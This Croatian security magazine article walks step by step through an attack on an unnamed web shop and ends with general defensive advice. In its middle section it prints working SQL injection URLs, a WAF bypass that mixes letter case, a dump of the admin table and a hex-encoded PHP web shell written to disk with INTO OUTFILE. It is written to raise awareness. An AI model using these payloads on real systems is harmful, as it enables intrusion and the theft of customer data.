Nalazite se
Članak
Objavljeno: 03.12.2013. 14:49

Sigurnost servera 

Demonstracija napada na web aplikaciju

Pokazat ćemo vam kako napadač izvodi napad na web aplikaciju te kako se od toga obraniti.

Demonstracija napada na web aplikaciju

Piše: Krunoslav Begić 

Svjedoci smo sve češćih napada na web aplikacije tvrtki, vladinih organizacija i financijskih institucija kako bi se došlo do podataka najviše razine povjerljivosti. Poznati su napadi od strane američke i kineske vlade koji su uzdrmali svijet i duboko zabrinuli sve korisnike. Katastrofalne posljedice izazvao je napad na grupnu kupovinu Living Social iz SAD-a gdje su kompromitirani podaci 50 milijuna korisnika s njihovim podacima o kreditnim karticama, e-mailovima, financijskim transakcijama, registraciji itd. 

Living Social nije jedini koji je osjetio štetu od hakerskih napada. Evernote, LinkedIn, Microsoft, Apple, Facebook i Twitter su među posljednjim žrtvama. Tu su i visoko profilirani napadi na New York Times, Washington Post i Wall Street Journal koji su potaknuli predsjednika Obamu da povuče konkretne poteze u borbi protiv opasnih napada na Internetu. 

Jedan mali propust u web aplikaciji dovoljan je da se dođe do osjetljivih podataka koji znače pravo bogatstvo za tvrtku. Istraživanje tvrtke White Hat Security iz svibnja 2013. ukazuje da 86% web stranica koje su testirali ima bar jednu ozbiljnu ranjivost. Ozbiljna ranjivost podrazumijeva ranjivost putem koje napadač može preuzeti kontrolu nad cijelom web stranicom ili nekim njenim dijelom, kompromitirati korisničke podatke, pristupiti povjerljivim podacima ili manipulirati podacima na stranici. Prema dosadašnjim testiranjima tvrtke Pronect, koja se bavi sigurnošću web aplikacija i pomaže tvrtkama osigurati njihove podatke od opasnih prijetnji na Internetu, u Hrvatskoj se postotak ranjivih web stranica kreće oko 88% što je znak da je ovaj problem jako ozbiljan i da tvrtke trebaju osigurati svoje povjerljive podatke na Internetu.

Samo jedan jednostavan XSS na stranici u kombinaciji sa socijalnim inženjeringom, kreiran tako da zarazi računalo mrežnog administratora Trojanom, može rezultirati totalnim kompromitiranjem cijele lokalne mreže. Ako web aplikacija ima pristup bazi podataka te organizacije s podacima o svim kupcima i narudžbama (što je vrlo čest slučaj), tada i najmanja ranjivost na web aplikaciji može rezultirati da cijela organizacija bude kompromitirana. 

zastita podataka

Danas je svaka web stranica meta napada 

Bez obzira ima li tvrtka važne podatke na stranici ili ne, velik rizik postoji. Kompromitirana stranica se može iskoristiti za napade na druge, može zaraziti posjetitelje, sadržaj na stranici se može spamati, ukrasti i potpuno izmijeniti itd. Google će zaraženu stranicu prepoznati i suspendirati je s tražilice da zaštiti posjetitelje. Sve to uzrokuje pad reputacije i kredibiliteta u očima publike kojoj se tvrtka ili pojedinac obraćaju. Svaka stranica bez obzira na veličinu i industriju meta je napada i treba se adekvatno osigurati. 

Tvrtke se suočavaju s porastom targetiranih i sofisticiranih napada. Raspon zlonamjernih napadača danas može biti od organiziranih kriminalnih krugova do vlada određenih zemalja, koji su vrhunski organizirani, vješti i motivirani. Unatoč rasprostranjenosti vatrozida, IPS-a, antivirusa i drugih sigurnosnih tehnologija, mnoge tvrtke su i dalje žrtve ovih napada radi nenamjernih konfiguracijskih pogreški. 

Otkrivanje ranjivosti web aplikacije 

Sada ćemo opisati jedan od najčešćih napada na web stranice – SQL Injection. Zbog potpisanog ugovora o tajnosti podataka ne možemo otkriti o kojoj se konkretno tvrtki radi, ali možemo natuknuti da se radi o web trgovini iz područja informatike. Web trgovina sadrži vitalne podatke u bazi podataka, poput imena i prezimena kupaca, adrese, e-mail adrese, lozinke itd. Cilj ove vrste napada je vrlo jasan: dobiti pristup bazi podataka kako bi se otkrili svi povjerljivi podaci poput korisničkih imena, mailova i lozinki. 

Mnoge organizacije koriste automatske alate za testiranje i interne resurse kako bi provjerili ranjivost. Alati za penetracijsko testiranje pružaju vrijedan uvid u sigurnosnu arhitekturu. No, tim alatima nedostaju analitičke sposobnosti koje imaju iskusni sigurnosni profesionalci (etični hakeri). Dakle, automatski alati mogu zakomplicirati proces procjene zbog velikog broja lažno pozitivnih rezultata ili izlistavaju bezbroj ranjivosti umjesto onih najrizičnijih. To uzrokuje manje učinkovite rezultate ili povećano vrijeme i troškove potrebne da bi se identificirali korisni podaci. Zbog toga smo se u procesu testiranja ove aplikacije odlučili za ručno testiranje i otkrivanje ranjivosti. 

zastita podataka 3

Demonstracija napada iz realne perspektive napadača 

Prvi korak je ispitivanje mete napada. Napredniji napadač uvijek prvo provjerava server na kojem se nalazi meta napada kako bi dobio listu servisa koji se na njemu pokreću, njihove verzije te ostale web aplikacije na tom serveru. Kako bi to provjerio koristi se nmap. Nmap je najpoznatiji alat otvorenog koda koji služi za testiranje mreža i servera. 

Nakon što smo pomoću nmapa dobili uvid u stanje servera, drugi korak je dobiti uvid u potencijalne web aplikacije/skripte koje su pohranjene na serveru. 

Bing za pretraživanje svih skripti 

Bing se koristi zbog određenih funkcionalnosti koje je Google izbacio. Bing omogućava pretraživanje svih skripti na istoj IP adresi. Napadaču je cilj što brže postaviti shell skriptu na server, bilo preko web aplikacije koju napada ili preko neke druge aplikacije na istom serveru. Shell skripta mu omogućava kompletan pristup datotekama i bazama podataka na serveru. 

zastita podataka 5

Postoje dvije vrste ranjivosti – lokalna i udaljena. Lokalna ranjivost omogućava iskorištavanje slabosti ukoliko je shell skripta na serveru i većina ranjivosti na serverima su lokalne. Zbog toga napadač traži najbrži način da dobije shell na serveru. 

Sljedeći “Bing dork” pronaći će sve .php?nesto= dijelove URL-a na svim aplikacijama na IP adresi na kojoj se nalazi meta napada. Google dorkovi ili Bing dorkovi su metode naprednog pretraživanja. One se mogu zloupotrijebiti za pronalaženje točno onoga što napadaču treba, što olakšava posao.

IP:ip_meta .php?*=

Ovaj dork služi za brz pronalazak svih php skripti na serveru/IP adresi mete. To će dati rezultate koji će se koristiti za testiranje ranjivosti. Cilj je pronaći neku ranjivost na bilo kojoj php skripti koja se pokreće na serveru. 

Pomoću Bing pretraživanja pronašli smo LFI ranjivost na web trgovini koju napadamo te SQL injection ranjivost na jednoj od njihovih poddomena. Najjednostavnija metoda za testiranje protiv SQL injection ranjivosti je dodavanje apostrofa (‘) na kraj URL-a, kao što možemo vidjeti:

http://dev.meta.hr/index. php?stranica=proizvod&id=-9’

Ako dobijemo mysql pogrešku kao na slici, znači da je ta skripta ranjiva na SQL injection.

SQL injection omogućava čitanje podataka iz baze podataka. To je danas jedna od najkritičnijih i najčešće korištenih tehnika napada. LFI omogućava čitanje bilo koje datoteke na serveru za koju korisnik (pod kojim je aktivan PHP proces) ima pravo čitanja. To su sigurno sve datoteke web aplikacije koja ima LFI slabost. Ako je server loše podešen i osiguran, LFI omogućava čitanje i sistemskih datoteka te pokretanje shell skripte.

zastita podataka 6

Uspješno smo otkrili broj tablica i kolona u bazi te pročitali korisničke podatke i lozinke. Za otkrivanje broja kolona koristili smo order+by+n/*, dok smo za čitanje kolona koristili union+all+select funkciju koju smo izvršili iz URL-a na ranjivoj web aplikaciji. ORDER BY funkcija omogućava otkrivanje broja kolona u trenutnoj mysql tablici. To smo učinili tako što smo povećavali broj sve dok nismo dobili mysql grešku, kao što možete vidjeti ispod:

http://devmeta.hr/index php?stra nica=proiz vod&id=-9+order+by+1--http://dev.meta.hr/index. php stranica=proizvod&id =-9+order+by+2-- http://dev.meta.hr/ index. php?stranica =proizvod&id=-9+order+by+3 --http://dev. meta.hr/index. php stranica=proizvod& id=-9+order+by+4--

Kada smo koristili 1, 2 ili 3, stranica se normalno otvorila. Na 4 se prikazala mysql greška na stranici. To znači da trenutna mysql tablica ima 3 kolone (4-1=3). Sada, kad znamo koliko kolona imamo, trebamo saznati sve tablice koje postoje u bazi kako bismo znali od kud trebamo pročitate podatke koji nam trebaju. To ćemo saznati information_schema tablice. Information_ schema je baza u kojoj su zapisani podaci o svim tablicama i kolonama na MySQL 5.02 verziji i novijim.

http://dev. meta.hr/index. php?stranica= proizvod&id=- 9+union+all+select+1, group_ concat(table_name), 3+from+information _schema. tables +where+table_ schema=database()—

Ovaj upit nije uspio i javio je sljedeću grešku: Ova poruka znači da meta ima neku vrstu sustava za detekciju i prevenciju web napada. Izgleda da server zabranjuje korištenje određenih stringova koji se koriste kod ove vrste napada u URL-u. Morat ćemo promijeniti upit tako da zaobiđemo taj sustav. Većina takvih sustava se jednostavno zaobiđe. Ovaj je jedan od lošijih pa ga možemo zaobići jednostavnim kapitaliziranjem nekih znakova u upitu. To je jedna od najjednostavnijih i najčešće korištenih metoda zaobilaženja.

http://dev. meta.hr/index. php?stranica =proizvod&id= -9+UnIoN+alL+sElEcT+1, gRouP _ CoNcaT(table_name), 3+frOm + information_schema. tables+wHeRe+ table_schema=database()—

Ovaj upit je uspio i dao nam je ono što smo očekivali – imena tablica u bazi. U tablicama vidimo tablicu admins. Tu su vjerojatno spremljeni administratori, logično. Sada ćemo iz information_schema pročitati sve kolone koje sadrži tablica admins.

http: //dev.meta.hr/index. php?stranica =proizvod&id= -9+UnIoN+alL +sElEcT+1, gRouP_ CoNcaT (column_name), 3+frOm+ information_schema. columns+ wHeRe+table_ name= admins—

Ovo će nam dati uvod i kolone unutar admins tablice. Sljedeće kolone su nam zanimljive: id, username, password, mail.

Sada ćemo sa sljedećim upitom pročitati zanimljive kolone iz admins tablice.

http://dev.meta.hr/index. php?stranica= proizvod&id= -9+UnIoN+alL+ sElEcT+1, gRouP_ CoNcaT(id, 0x3a, username,  0x3a, password, 0x3a, mail), 3+frOm +shop.admins—

Gornji upit je prošao i izlistao nam sljedeći rezultat. Dobili smo sve podatke o adminu koje možemo koristiti da bismo pristupili administra-torskom sučelju web trgovine. Admin id je 1, korisničko ime je admin, email je info@meta.hr, a lozinka je kriptirana u md5. Kako bismo mogli pristupiti administratorskom sučelju trebamo dekriptirati lozinku, no nećemo sada gubiti vrijeme na to. Krećemo dalje na glavni cilj – dobiti shell skriptu na serveru. Kada to uspijemo, ionako ćemo imati kompletan pristup svim podacima. Saznali smo da MySQL korisnik koji vrti bazu ima FILE dopuštenje. FILE dopuštenje nam omogućava čitanje i pisanje podataka na diskovni prostor koji meta koristi na serveru. To ćemo iskoristiti kako bismo postavili našu php skripticu na server sa sljedećim upitom.

http://dev.meta.hr/index. php?stranica =proizvod&id=-9+ UnIoN + alL + sElEcT +1, 0x3c3f 70687 02024636d 643d245f4 745545b27 636d64275 d3b207379737 4656d282463 6d64293b203f3e, 3+inTO+oUtFiLE +’/var/www/mta.hr/dev/rce.php’—

Rce.php je samo ime datoteke u koji će zapisati hexanu vrijednost, može se koristiti bilo koje drugo ime umjesto rce.php

Kada de-hexamo 3c3f7068702024636 d643d245f4745545b2763 6d64275d3b207379 7374656d2824636 d64293b-203f3e dobit ćemo <?php $cmd=$_GET[‘cmd’]; system($cmd); ?>

Hexali smo jer gornji php kôd ne bi uspješno prošao da smo ga koristili direktno, server bi ga blokirao. Hexanje nam je omogućilo da kôd pre-tvorimo u slova i brojeve i tako zaobiđemo filtar na serveru. Gornji komad PHP koda omogućava pristup izvršavanju sistemskih naredbi nad serverom na kojem je meta napada pohranjena. Upit se uspješ-no izvršio i postavili smo skriptu na meta.hr pod imenom rce.php. Sada toj skripti koju smo posta-vili treba pristupiti iz web preglednika.

http://dev.meta.hr/rce.php?cmd=ls –la; izlistat će sve datoteke koje meta ima na serveru.

Drugim riječima, zadatak je uspješno obavljen i dobili smo kompletan pristup meti napada, njezinim datotekama na serveru i bazi podataka. Možemo izmijeniti svaki dio web aplikacija i baze podataka. Još ćemo malo pronjuškati po bazi i vidjeti kakvih informacija ima – svaki napadač koji je sposoban za ovo je prije svega znatiželjan.

SELECT COUNT(firstname) FROM clients;1054

U prijevodu, Web trgovina ima 1054 klijenta. Za svakog od njih čuva osobne podatke, email i lozinku. Ako napadač uspije dekriptirati md5 (algoritam za enkripciju lozinki) i ako klijent koristi istu lozinku za email, napadač automatski ima pristup svemu što klijent ima na mailu. 

zastita podataka 4jpg

Kako se zaštititi od ovakvih uobičajenih vrsta napada? 

Nema apsolutne sigurnosti od zlonamjernih napada. Hakiranje je vrlo dinamično područje gdje se nove ranjivosti otkrivaju jednako brzo kao što se poznate ranjivosti osiguravaju. Organizacije ne mogu postići 100 postotnu sigurnost, ali bi trebale postići da je sigurnost povjerljivih podataka s kojima raspolažu na najvišoj mogućoj razini. 

Organizacije koje se žele obraniti od ovih opasnih prijetnji trebaju voditi računa o tome da pišu siguran kôd, programeri se trebaju educirati o tome kako se u samom kodu zaštiti od najčešćih vrsta ranjivosti. Važno je koristiti naprednu sigurnosnu opremu: IPS sustave, vatrozide, antivirusne programe, anti-malware programe. Vrlo je važno pratiti tehnologiju kako se razvija, biti u korak s najnovijim otkrivenim tehnikama napada i povjeriti sigurnosnim stručnjacima redovito testiranje sigurnosti web aplikacije.

Organizacije diljem svijeta podcjenjuju ozbiljne opasnosti za njihove stranice i ne shvaćaju da posljedice kompromitirane web stranice mogu uzrokovati nepopravljive poslovne i financijske štete. Opasnosti su realne kako za male tvrtke tako i za velike organizacije. Porastom broja zlonamjernih napada organiziranih kriminalnih skupina, amatera i političkih aktivista opasnosti neće samo tako otići.

Štoviše, bit će još veće. Web bazirana poslovanja dominiraju ekonomskim rastom i upravo taj rast važnosti web aplikacija dodatno potiče napadače. Baš zato će važnost sigurnosti web aplikacija i dalje rasti jer se web aplikacije konstantno mijenjaju, a nove tehnike napada otkrivaju, tako da organizacije moraju kontinuirano voditi računa o sigurnosti web aplikacija.

Svakim danom se otkrivaju nove ranjivosti, pogotovo kako tehnologija napreduje. Većina tvrtki danas ima osnovne tehnologije mrežne sigurnosti, poput vatrozida, intrusion prevention sustava (IPS) i anti-malware programa. Ovi alati pružaju nevjerojatnu vrijednost tako što blokiraju mnogo čestih i uobičajenih prijetnji, ali im nedostaje neophodna ljudska analiza kako bi bile 100% učinkovite protiv targetiranih prijetnji. Zato web aplikacije treba redovito testirati od strane specijalista.

Tvrtke trebaju postići razumnu razinu sigurnosti web aplikacija kroz oprezno programiranje sa sigurnosti na umu, kontinuirano penetracijsko testiranje, upravljanje sigurnošću i praćenje novih tehnika napada i obrana. Ove prakse će pomoći spriječiti targetirane i netargetirane napade, malware i zlonamjerne napadače. Sigurnost web aplikacija je kontinuiran posao koji zahtijeva vrijeme, predanost, investiciju i odgovornost od strane zaposlenika.

Vezani sadržaji
Ključne riječi web Hakeri serveri napadi
Komentari

Učitavam komentare ...

Učitavam













       

*/-->